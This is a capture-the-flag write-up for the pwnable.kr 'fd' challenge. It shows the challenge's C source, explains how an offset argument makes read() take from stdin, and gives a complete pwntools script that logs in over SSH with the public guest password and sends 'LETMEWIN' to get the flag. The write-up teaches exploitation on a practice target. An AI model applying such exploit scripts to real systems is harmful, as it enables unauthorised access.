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{"author": ["ret2basic"]}

Challenge

Mommy! what is a file descriptor in Linux?

• try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link: https://youtu.be/971eZhMHQQw

ssh [e-mail] -p2222 (pw:guest)

Code Review

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
        if(argc<2){
                printf("pass argv[1] a number\n");
                return 0;
        }
        int fd = atoi( argv[1] ) - 0x1234;
        int len = 0;
        len = read(fd, buf, 32);
        if(!strcmp("LETMEWIN\n", buf)){
                printf("good job :)\n");
                system("/bin/cat flag");
                exit(0);
        }
        printf("learn about Linux file IO\n");
        return 0;

}

Take a look at this portion of the code:

int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);

From man7.org:

read() syscall

Solution

In Linux, the default file descriptors are:

• stdin (standard input) => 0

• stdout (standard output) => 1

• stderr (standard error) => 2

We are able to control the value of fd. The desirable value is fd = 0 since it will open a stdin session. We can send information through stdin and that information will be stored in buf. The idea is clear:

1. Set argv[1] = 0x1234 so that fd = 0.

2. Send "LETMEWIN" through stdin.

Exploit

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host pwnable.kr --port 2222 --user fd --password guest --path /home/fd/fd
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('fd')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'pwnable.kr'
port = int(args.PORT or 2222)
user = args.USER or 'fd'
password = args.PASSWORD or 'guest'
remote_path = '/home/fd/fd'

# Connect to the remote SSH server
shell = None
if not args.LOCAL:
    shell = ssh(user, host, port, password)
    shell.set_working_directory(symlink=True)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Execute the target binary on the remote host'''
    if args.GDB:
        return gdb.debug([remote_path] + argv, gdbscript=gdbscript, ssh=shell, *a, **kw)
    else:
        return shell.process([remote_path] + argv, *a, **kw)

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     i386-32-little
# RELRO:    Partial RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      No PIE (0x8048000)

argv = [str(0x1234)]
io = start(argv)
io.sendline(b'LETMEWIN')
success(io.readall().decode())